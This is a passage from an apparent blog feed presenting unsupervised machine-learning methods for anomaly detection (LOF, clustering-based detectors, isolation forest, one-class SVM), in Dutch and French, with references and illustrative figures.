<p class="wp-block-paragraph">In deze blogpost hebben we ervoor gekozen om een selectie van (<em>unsupervised</em>) algoritmen te presenteren die gebaseerd zijn op verschillende aanpakken (afstand, dichtheid, isolatie, enz.) om zo de grote verscheidenheid aan bestaande algoritmen te illustreren. We willen er echter op wijzen dat we geen aandacht hebben besteed aan de <em>supervised</em> methoden (die vaak nauwkeuriger zijn omdat ze gespecialiseerd zijn in de opsporing van vooraf gedefinieerde patronen) en de statistische benaderingen. Opsporing van anomalieën is dus een uitgebreid domein met talrijke tools. <em>Unsupervised</em> algoritmen bieden een grote flexibiliteit omdat ze geen labels vereisen en nieuwe vormen van anomalieën kunnen opsporen. In de praktijk is het soms handig – aangezien elk detectiealgoritme anders is – om meerdere algoritmen te combineren voor het opsporen van anomalieën om een grotere verscheidenheid aan opgespoorde anomalieën te verkrijgen.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph" id="footnote-1">[1]&nbsp;: Chandola, V., Banerjee, A., &amp; Kumar, V. (2009). Anomaly detection: A survey.&nbsp;<em>ACM computing surveys (CSUR)</em>,&nbsp;<em>41</em>(3), 1-58.</p>



<p class="wp-block-paragraph" id="footnote-2">[2]&nbsp;: Samariya, D., &amp; Thakkar, A. (2023). A comprehensive survey of anomaly detection algorithms.&nbsp;<em>Annals of Data Science</em>,&nbsp;<em>10</em>(3), 829-850.</p>



<p class="wp-block-paragraph" id="footnote-3">[3]&nbsp;: Nassif, A. B., Talib, M. A., Nasir, Q., &amp; Dakalbab, F. M. (2021). Machine learning for anomaly detection: A systematic review.&nbsp;<em>Ieee Access</em>,&nbsp;<em>9</em>, 78658-78700.</p>



<p class="wp-block-paragraph" id="footnote-4">[4]: Breunig, M. M., Kriegel, H. P., Ng, R. T., &amp; Sander, J. (2000). LOF: identifying density-based local outliers. In&nbsp;<em>Proceedings of the 2000 ACM SIGMOD international conference on Management of data</em>&nbsp;(pp. 93-104).</p>



<p class="wp-block-paragraph" id="footnote-5">[5]&nbsp;: Ramaswamy, S., Rastogi, R., &amp; Shim, K. (2000). Efficient algorithms for mining outliers from large data sets. In&nbsp;<em>Proceedings of the 2000 ACM SIGMOD international conference on Management of data</em>&nbsp;(pp. 427-438).</p>



<p class="wp-block-paragraph" id="footnote-6">[6]&nbsp;: Jiang, S. Y., &amp; An, Q. B. (2008). Clustering-based outlier detection method. In&nbsp;<em>2008 Fifth international conference on fuzzy systems and knowledge discovery</em>&nbsp;(Vol. 2, pp. 429-433). IEEE.</p>



<p class="wp-block-paragraph" id="footnote-7">[7]&nbsp;: He, Z., Xu, X., &amp; Deng, S. (2003). Discovering cluster-based local outliers.&nbsp;<em>Pattern recognition letters</em>,&nbsp;<em>24</em>(9-10), 1641-1650.</p>



<p class="wp-block-paragraph" id="footnote-8">[8]&nbsp;: Liu, F. T., Ting, K. M., &amp; Zhou, Z. H. (2008). Isolation forest. In&nbsp;<em>2008 eighth ieee international conference on data mining</em>&nbsp;(pp. 413-422). IEEE.</p>



<p class="wp-block-paragraph" id="footnote-9">[9]&nbsp;: <a href="https://en.wikipedia.org/wiki/Isolation_forest">Isolation forest &#8211; Wikipedia</a></p>



<p class="wp-block-paragraph" id="footnote-10">[10]&nbsp;: Schölkopf, B., Platt, J. C., Shawe-Taylor, J., Smola, A. J., &amp; Williamson, R. C. (2001). Estimating the support of a high-dimensional distribution.&nbsp;<em>Neural computation</em>,&nbsp;<em>13</em>(7), 1443-1471.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Détection d’anomalies&#160;: quand le machine learning repère l’inhabituel</title>
		<link>https://www.smalsresearch.be/detection-anomalies-machine-learning/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Tue, 26 May 2026 08:05:41 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Data Mining]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">https://www.smalsresearch.be/?p=29522</guid>

					<description><![CDATA[Cet article de blog s’intéresse au problème de la détection d’anomalies dans des données, et a pour objectif de présenter les solutions basées sur une approche machine learning.]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><em><a href="https://www.smalsresearch.be/anomaliedetectie-machine-learning/">Nederlandstalige versie</a></em></p>



<h1 class="wp-block-heading">Introduction</h1>



<p class="wp-block-paragraph">La détection d’anomalies (aussi souvent appelées «&nbsp;outliers&nbsp;», ou encore «&nbsp;valeurs aberrantes&nbsp;») est un problème récurrent en data science/machine learning. Cette détection est bien souvent considérée comme une simple tâche préliminaire, mais peut parfaitement être la finalité de l’application&nbsp;:</p>



<ul class="wp-block-list">
<li>En tant que <strong>tâche préliminaire</strong>, la détection a lieu durant l’analyse exploratoire, afin de limiter les soucis de « garbage in, garbage out ». L’objectif est donc ici de corriger ou d’enlever ces anomalies pour éviter qu’elles ne soient utilisées durant la phase d’entrainement du modèle prédictif, car cela risquerait d’affecter négativement ses performances.</li>



<li>En tant que <strong>tâche principale,</strong> la détection d’observations présentant des profils anormaux peut par exemple servir à détecter des activités frauduleuses, des erreurs, ou encore des intrusions (IDS: Intrusion Detection System) [<a href="#footnote-1">1</a>].</li>
</ul>



<p class="wp-block-paragraph">La détection d’anomalies est donc une tâche très importante qui trouve un grand nombre d’applications dans de nombreux domaines [<a href="#footnote-1">1</a>], visant à trouver des observations qui ne se conforment pas au reste des données [<a href="#footnote-2">2</a>].</p>



<p class="wp-block-paragraph">Cet article de blog s’intéresse au problème de la détection d’anomalies dans des données, et a pour objectif de présenter les solutions basées sur une approche machine learning.</p>



<p class="wp-block-paragraph">Il est intéressant de noter que, bien que ces deux domaines soient liés, la détection d’anomalies se distingue des outils de qualité des données (<em>data quality</em>), tels que Trillium et Open Refine. En data quality, on cherche plutôt à retrouver des soucis de données incomplètes/invalides sur bases de règles, là où la détection d&#8217;anomalies cherche à détecter des patterns rares/inhabituels (qui s&#8217;écartent/dévient de la « normalité »), mais pas forcément invalides d&#8217;un point de vue data quality.</p>



<h1 class="wp-block-heading">Les différents types d’anomalies</h1>



<p class="wp-block-paragraph">Avant de discuter des outils permettant la détection d’anomalies, commençons dans un premier temps par définir les différents types d’anomalies qui peuvent être détectés. Dans la littérature, on considère souvent qu’il y a 3 types d’anomalies [<a href="#footnote-3">3</a>]&nbsp;:</p>



<ul class="wp-block-list">
<li><strong>L&#8217;anomalie ponctuelle</strong></li>
</ul>



<p class="wp-block-paragraph">Il s’agit de la forme la plus simple d’anomalies&nbsp;: une instance individuelle considérée comme anormale vis-à-vis du reste des données.</p>



<p class="wp-block-paragraph">Ces anomalies sont encore parfois divisées en 2 sous-catégories, les anomalies <strong>globales</strong> (significativement différentes du reste des données) et les anomalies <strong>locales</strong> (différentes du voisinage local). Exemple illustratif&nbsp;:</p>



<figure class="wp-block-image aligncenter size-full" id="fig1"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png"><img loading="lazy" decoding="async" width="380" height="341" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png" alt="" class="wp-image-29458" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example.png 380w, https://www.smalsresearch.be/wp-content/uploads/2026/05/LOF_Anomaly_Example-300x269.png 300w" sizes="auto, (max-width: 380px) 100vw, 380px" /></a></figure>



<p class="is-style-text-annotation is-style-text-annotation--8 wp-block-paragraph">Figure 1&nbsp;: Exemple d’anomalies locale et globale (image extraite de [<a href="#footnote-4"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-accent-3-color">4</mark></a>])</p>



<p class="wp-block-paragraph">Dans la Figure 1, on peut voir deux anomalies&nbsp;: o<sub>1</sub>, une anomalie globale fortement différente des autres observations, et o<sub>2</sub>, une anomalie locale par rapport à son voisinage (le groupe C<sub>2</sub>).</p>



<ul class="wp-block-list">
<li><strong>L&#8217;anomalie contextuelle</strong></li>
</ul>



<p class="wp-block-paragraph">Une anomalie est dite «&nbsp;contextuelle&nbsp;» si, dans un contexte différent, elle peut être considérée comme normale. Par exemple, si l’on s’intéresse aux précipitations&nbsp;: un certain niveau de précipitations, qui est anormal à un endroit donné, pourrait parfaitement être considéré comme normal à un autre endroit. On a donc ici deux types d’attributs&nbsp;: des <strong>attributs contextuels</strong> qui définissent le contexte (souvent des attributs temporels ou spatiaux) et des <strong>attributs comportementaux</strong> dans lesquelles on va chercher les anomalies (dans notre exemple&nbsp;: les précipitations).</p>



<ul class="wp-block-list">
<li><strong>L&#8217;anomalie collective/anomalie de groupe</strong></li>
</ul>



<p class="wp-block-paragraph">Dans cette dernière catégorie, il ne s’agit plus d’une anomalie individuelle mais d’un ensemble d’anomalies, formant un groupe dont les caractéristiques sont inhabituelles.</p>



<h1 class="wp-block-heading">Les méthodes de détection</h1>



<p class="wp-block-paragraph">Souvent (et particulièrement lorsqu’il s’agit d’une simple tâche préliminaire de data cleansing), la détection d’anomalies dans les données se fait simplement via des outils statistiques (par exemple, en utilisant les écarts-types, les quantiles, ou via des tests statistiques). Dans le cadre de cet article, nous n’allons pas explorer ces approches statistiques et nous concentrer sur les approches <em>machine learning</em> de la détection d’anomalies.</p>



<h2 class="wp-block-heading">Quel type d’apprentissage&nbsp;?</h2>



<p class="wp-block-paragraph">Il existe principalement deux approches pour détecter des anomalies, les méthodes basées sur l’apprentissage supervisé et celles basées sur l’apprentissage non-supervisé. Pour rappel, l’apprentissage supervisé utilise des données labélisées&nbsp;: cela nécessite d’avoir, en plus des données, des exemples d’anomalies préalablement identifiées afin que le modèle de détection puisse apprendre à les différencier des données normales. A l’inverse, l’apprentissage non-supervisé se base entièrement sur les données et ne requiert pas de disposer d’un ensemble d’anomalies pré-identifiées.</p>



<p class="wp-block-paragraph">Dans le cadre de cet article, nous allons explorer les <strong>approches non-supervisées</strong>. Ces dernières ont en effet une spécificité intéressante par rapport aux modèles supervisés (outre le fait de ne pas nécessiter de données labélisées)&nbsp;: la découverte de nouvelles formes d’anomalies.</p>



<p class="wp-block-paragraph">En effet, un modèle supervisé aura tendance à identifier des anomalies présentant des caractéristiques similaires à celles des anomalies labélisées. Par conséquent, même dans les cas où des données labélisées existent, il sera souvent intéressant de coupler un modèle supervisé, entrainé pour détecter plus finement certains profils prédéfinis d’anomalies, avec un modèle non-supervisé, qui pourra potentiellement trouver des anomalies présentant des profils complètement différents.</p>



<h2 class="wp-block-heading">Quelques algorithmes classiques de détection d’anomalies</h2>



<p class="wp-block-paragraph">Avant de commencer, nous allons séparer les algorithmes de détection d’anomalies en 2 catégories&nbsp;: les <strong>détecteurs</strong> et les <strong>modèles de détection</strong>. Un modèle de détection va, comme son nom l’indique, construire un modèle qui peut être utilisé de façon isolée&nbsp;: par exemple si l’on dispose d’une nouvelle observation, on peut simplement l’entrer dans le modèle pour estimer s’il s’agit d’une anomalie. A l’inverse, un détecteur n’aura pas de modèle entrainé pouvant être utilisé par la suite&nbsp;: si une nouvelle observation arrive, il faudra la recontextualiser en la plaçant parmi les autres données, voire éventuellement entièrement relancer le processus de détection d’anomalies.</p>



<h3 class="wp-block-heading">Les détecteurs sans modèles</h3>



<p class="wp-block-paragraph">Une première approche intuitive pour identifier si une observation est une anomalie ou non se base sur l’idée qu’une anomalie a tendance à être éloignée de ses voisins. Ainsi, en mesurant la <strong>distance</strong> moyenne (distance euclidienne par exemple) entre une observation et ses <em>k</em> plus proches voisins (<em>k</em>-NN), ou simplement la distance entre une observation et son <em>k</em><sup>ième</sup> plus proche voisin (<em>k</em>th-NN) [<a href="#footnote-5">5</a>], on peut estimer le risque qu’une observation soit une anomalie&nbsp;: si l’observation est loin des autres, on peut supposer qu’il s’agit d’une anomalie.</p>



<p class="wp-block-paragraph">Cette approche basée sur la distance a l’avantage d’être intuitive, facile à implémenter et à interpréter, mais elle est rapidement limitée. Si on reprend l’exemple de la Figure 1,&nbsp;on observe toutes les observations du cluster C1 sont plus éloignées les unes des autres que o<sub>2</sub> ne l’est des observations de C2. Résultat&nbsp;: un algorithme basé sur la distance retrouvera facilement l’anomalie o<sub>1</sub>, mais pas o<sub>2</sub>. Une approche alternative très connue, le Local Outlier Factor (LOF) [<a href="#footnote-4">4</a>] se base sur la <strong>densité</strong> plutôt que sur la <strong>distance</strong>. Cela permet de gérer les cas où les données contiennent des clusters (C1 et C2 dans la <a href="#fig1">Figure 1</a>) qui n’ont pas la même densité.</p>



<p class="wp-block-paragraph">L’idée est la suivante&nbsp;: observer si la densité autour d’une observation est cohérente avec la densité de ses <em>k</em> plus proches voisins. Ainsi, si l’on prend une observation faisant partie du groupe C1, la densité autour de cette observation est cohérente par rapport à la densité autour de ses voisins proches, là où, pour l’observation o<sub>2</sub>, la densité autour de o<sub>2</sub> est différente de la densité autour de ses plus proches voisines au sein de C2. L’algorithme LOF consiste donc à détecter des anomalies en regardant si leur densité est cohérente avec la densité de leur environnement local.</p>



<p class="wp-block-paragraph">Un dernier type de détecteur que nous allons voir se base sur le <strong>partitionnement de données</strong> (clustering). L’objectif bien connu du clustering va être de détecter des groupes d’observations ayant des caractéristiques similaires. Cela permet notamment de&nbsp;:</p>



<ul class="wp-block-list">
<li>Chercher une observation se trouvant loin du centroïde de son cluster, ou se trouvant dans un micro-cluster qui ne contient qu’une observation (anomalie ponctuelle).</li>



<li>Chercher des clusters anormaux (anomalies collectives).</li>
</ul>



<p class="wp-block-paragraph">Par exemple, Jiang et al. [<a href="#footnote-6">6</a>] proposent de partitionner les données, puis de calculer «&nbsp;l’outlier factor&nbsp;» de chaque cluster (basé sur la distance entre ce cluster et les autres), afin de trouver des clusters d’anomalies. De leur côté, He et al.&nbsp;[<a href="#footnote-7">7</a>] proposent l’algorithme FindCBLOF (CBLOF&nbsp;: <em>cluster-based local outlier factor</em>) qui partitionne les données, puis cherche les anomalies en utilisant à la fois la taille des clusters (les clusters trop petits pouvant représenter des anomalies collectives) et les distances entre les observations et les centroïdes des clusters.</p>



<h3 class="wp-block-heading">Les modèles de détection</h3>



<p class="wp-block-paragraph">Maintenant que nous avons vu des approches sans modèle, nous allons encore rapidement passer à des approches basées sur des modèles de détection d’anomalies. Cette section sera relativement courte et ne présentera que deux modèles parmi les plus connus&nbsp;: «&nbsp;l’<em>isolation forest&nbsp;</em>» et le «&nbsp;<em>one-class SVM</em>&nbsp;».</p>



<p class="wp-block-paragraph"><strong>L’<em>isolation forest</em> </strong>[<a href="#footnote-8">8</a>] se base sur le principe qu’une anomalie, puisqu’elle présente des caractéristiques inhabituelles, devrait être plus facile à isoler qu’une observation normale.</p>



<p class="wp-block-paragraph">L’idée est simple&nbsp;: on va piocher au hasard une variable et une valeur (par exemple&nbsp;: âge (variable) et 21.3 (valeur)), et les utiliser pour séparer les données en deux sous-groupes (branches). Chacun de ces groupes sera ensuite lui-même divisé de façon aléatoire en sous-groupes, qui seront à leur tour divisés, et ainsi de suite de manière récursive, formant un <strong>arbre de décision </strong>(decision tree), construit de manière aléatoire, que l’on appelle un <strong><em>isolation tree</em></strong>.</p>



<figure class="wp-block-image aligncenter size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull.png"><img loading="lazy" decoding="async" width="1024" height="654" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-1024x654.png" alt="" class="wp-image-29457" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-1024x654.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-300x192.png 300w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull-768x491.png 768w, https://www.smalsresearch.be/wp-content/uploads/2026/05/IsolationTreeFull.png 1075w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a></figure>



<p class="is-style-text-annotation is-style-text-annotation--9 wp-block-paragraph">Figure 2&nbsp;: Exemple illustratif d’isolation tree</p>



<p class="wp-block-paragraph">Durant le développement de l’arbre, aussitôt qu’un groupe ne contient plus qu’une seule observation, ce groupe n’est plus divisé en sous-groupes. Une <em>Isolation Forest</em> est donc composée d’un grand nombre de ces arbres aléatoires, avec l’idée qu’une observation normale devrait être plus difficile à isoler (et donc, demander en moyenne plus de divisions aléatoires de l’espace) qu’une anomalie (voir Figure 3).</p>



<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-3a88641f wp-block-group-is-layout-flex">
<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-10 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png"><img loading="lazy" decoding="async" width="602" height="400" data-id="29455" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png" alt="" class="wp-image-29455" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point.png 602w, https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_a_Non-Anomalous_Point-300x199.png 300w" sizes="auto, (max-width: 602px) 100vw, 602px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png"><img loading="lazy" decoding="async" width="602" height="400" data-id="29456" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png" alt="" class="wp-image-29456" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point.png 602w, https://www.smalsresearch.be/wp-content/uploads/2026/05/Isolating_an_Anomalous_Point-300x199.png 300w" sizes="auto, (max-width: 602px) 100vw, 602px" /></a></figure>
</figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--11 wp-block-paragraph">Figure 3&nbsp;: Exemple d’isolation d’une observation normale (x<sub>i</sub>) et anormale (x<sub>j</sub>) (image extraite de [<a href="#footnote-9">9</a>])</p>



<p class="has-text-align-left wp-block-paragraph">Pour identifier si une observation est une potentielle anomalie, il suffit simplement de regarder à quelle profondeur elle se trouve isolée dans les différents arbres. Les anomalies devraient en moyenne se retrouver isolées peu profondément dans les arbres, car elles sont plus faciles à isoler.</p>



<p class="wp-block-paragraph"><strong>Le <em>one-class SVM</em></strong> (OCSVM) [<a href="#footnote-10">10</a>] est le second modèle de détection auquel nous allons nous intéresser dans cet article. Notez que l’algorithme sous-jacent à l’OCSVM est nettement moins intuitif et facile à expliquer que l’isolation forest, nous n’allons donc pas nous attarder sur son fonctionnement. Cependant, nous allons tout de même le présenter rapidement, car il s’agit d’un modèle classique bien connu en détection d’anomalies.</p>



<p class="wp-block-paragraph">L’OCSVM essaie de trouver la région où les données sont densément situées, et de considérer les points en dehors de cette région comme anormaux. L’objectif pour l’OCSVM est d’apprendre la forme de la «&nbsp;normalité&nbsp;», afin de déterminer une frontière qui séparerait les observations normales des anomalies. La spécificité de l’algorithme OCSVM est que, plutôt que d’utiliser directement les caractéristiques (features) des observations pour déterminer la frontière entre observations normales et anormales, il va projeter les observations dans un espace transformé, permettant de dessiner des frontières complexes entre données normales et anormales.</p>



<h1 class="wp-block-heading">Exemple illustratif</h1>



<p class="wp-block-paragraph">Pour illustrer la détection d’anomalies, nous avons généré des données artificielles en 2 dimensions, contenant&nbsp;:</p>



<ul class="wp-block-list">
<li>Des données «&nbsp;normales&nbsp;»&nbsp;: générées suivant une distribution normale.</li>



<li>Des anomalies&nbsp;: générées au hasard suivant une distribution uniforme.</li>
</ul>



<p class="wp-block-paragraph">Les données normales et les anomalies ont été mélangées et nous avons appliqué 3 algorithmes de détection d’anomalies dessus (OCSVM, <em>Isolation Forest</em> et LOF). Les résultats sont visibles dans les Figures 4 – 6&nbsp;:</p>



<ul class="wp-block-list">
<li>Figure 4&nbsp;: Un seul groupe d’observations normales&nbsp;;</li>



<li>Figure 5&nbsp;: Deux groupes d’observations normales légèrement séparés&nbsp;;</li>



<li>Figure 6&nbsp;: Deux groupes d’observations normales bien séparés.</li>
</ul>



<p class="wp-block-paragraph">Pour chacune de ces figures, les observations normales sont affichées en blanc et les anomalies en noir, afin de pouvoir facilement les distinguer visuellement. Ces labels (normal vs. anomalie) n’ont évidemment pas été fournis aux algorithmes, qui tournent de façon non-supervisés.</p>



<p class="wp-block-paragraph">Pour chacun de ces 3 algorithmes, nous avons mis en évidence en rouge la frontière utilisée par l’algorithme pour différencier les données normales des anomalies. Les observations dans la zone orange (à l’intérieur de la frontière) sont considérées par l’algorithme comme normales, et les observations dans la zone bleue sont considérées comme des anomalies (bleu clair&nbsp;: légèrement anormal&nbsp;; bleu foncé&nbsp;: fortement anormal).</p>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png" alt="" class="wp-image-29399" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Données originales</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png" alt="" class="wp-image-29398" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png" alt="" class="wp-image-29400" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png" alt="" class="wp-image-29397" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/OneGroup_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="has-text-align-center is-style-text-annotation is-style-text-annotation--12 wp-block-paragraph">Figure&nbsp;4&nbsp;: Détection d’anomalies avec un groupe de données normales</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png" alt="" class="wp-image-29475" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Données originales</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png" alt="" class="wp-image-29478" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png" alt="" class="wp-image-29476" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png" alt="" class="wp-image-29477" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/SplitGroup_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--13 wp-block-paragraph">Figure&nbsp;5&nbsp;: Détection d’anomalies avec deux groupes légèrement séparés de données normales</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png" alt="" class="wp-image-29479" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Données originales</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png" alt="" class="wp-image-29482" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_SVM-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">OCSVM</p></figcaption></figure>
</div>



<div class="wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-82936891 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png" alt="" class="wp-image-29480" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_IF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">Isolation Forest</p></figcaption></figure>



<figure class="wp-block-image size-full"><a href="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png"><img loading="lazy" decoding="async" width="437" height="428" src="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png" alt="" class="wp-image-29481" srcset="https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF.png 437w, https://www.smalsresearch.be/wp-content/uploads/2026/05/TwoGroups_LOF-300x294.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></a><figcaption class="wp-element-caption"><p class="has-text-align-center">LOF</p></figcaption></figure>
</div>



<p class="is-style-text-annotation is-style-text-annotation--14 wp-block-paragraph">Figure 6&nbsp;: Détection d’anomalies avec deux groupes fortement séparés de données normales</p>



<h1 class="wp-block-heading">Evaluer la détection</h1>



<p class="wp-block-paragraph">Réussir à quantifier la qualité de la détection d’anomalies n’est pas une tâche aisée. Commençons par le cas le plus facile&nbsp;: si nous disposons d’anomalies pré-identifiées (labels). Dans ces cas, un algorithme de détection d’anomalies pourra être validé en vérifiant si celui-ci parvient à retrouver les anomalies déjà connues, en utilisant des mesures classiques (<em>recall</em>, <em>precision</em>, <em>F1-measure</em>, etc.)</p>



